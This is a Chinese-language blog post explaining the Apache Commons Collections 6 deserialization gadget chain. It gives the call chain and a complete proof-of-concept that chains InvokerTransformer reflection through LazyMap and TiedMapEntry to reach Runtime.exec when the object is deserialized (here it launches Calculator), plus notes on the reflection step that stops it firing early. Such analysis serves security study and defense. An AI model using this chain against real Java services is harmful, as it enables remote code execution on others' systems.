返回介绍

3 CommonsCollections 6 Gadget 分析

发布于 2024-09-16 15:35:00 字数 5684 浏览 0 评论 0 收藏 0

3.1 调用链

java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

3.2 POC

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry te = new TiedMapEntry(lazyMap, "poc");

        HashSet ht = new HashSet();
        ht.add(te);

        innerMap.remove("poc");

        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazyMap, transformerChain);


        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(ht);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

3.3 分析

CommonsCollections 6 的 sink 链使用的依旧是 InvokerTransformer 反射接口,利用 ChainedTransformer 串联三次 InvokerTransformer 反射和 ConstantTransformer 接口,获取 Runtime 类。

CommonsCollections 1 中,通过交叉引用搜索到另外一个类 LazyMap 中的 get 方法调用了 transform 方法。

通过调用 LazyMap.decorate 方法,将恶意的 ChainedTransformer 赋值给 LazyMap#factory ,当调用 LazyMap#get(Object key) 方法,则会触发恶意代码的执行。(与 CommonsCollections 1、CommonsCollections 5 的 sink 点相同)

public static void main(String[] args) {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  	outerMap.get("poc");
}

CommonsCollections 6 gadget 作者找到了 TiedMapEntry 类,其中在 TiedMapEntry#getValue() 方法中调用了 this.map.get(this.key) 方法。

public Object getValue() {
    return this.map.get(this.key);
}

调用 TiedMapEntry(Map map, Object key) 构造方法,可以为 TiedMapEntry#map 赋值

TiedMapEntry 中的 equals(Object obj)hashCode()toString() 方法中都调用了 TiedMapEntry#getValue() 方法。这里作者选择调用 TiedMapEntry#hashCode() 方法。

接下来的思路就和 DNSURL 链类似,通过 HashMap 入口进行反序列化。

TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");
te.hashCode();

但是,在构造 HashMap 时,调用 put 方法,执行 hashcode 方法,会直接执行后续的命令执行操作,情况和 DNSURL 链相似,因此,需要通过反射来进行一些设置。

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");

HashMap<Object, Object> ht =  new HashMap<>();
ht.put(te, null);
// ht put 后,调用 TiedMapEntry#hashCode 中 getValue()
// 调用 lazyMap#get 方法
// 判断 innerMap 中是否含有 "Geekby" 这个 key
// 没有,进入 if 逻辑,调用 transform,向 innerMap 中添加对应的 Key:Value
// 然后再删除这个键值对,便于后续反序列化再次进入 if 逻辑。
innerMap.remove("Geekby");
// 此外将 LazyMap#factory 属性还原为 transformerChain (防止构造时就执行)
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文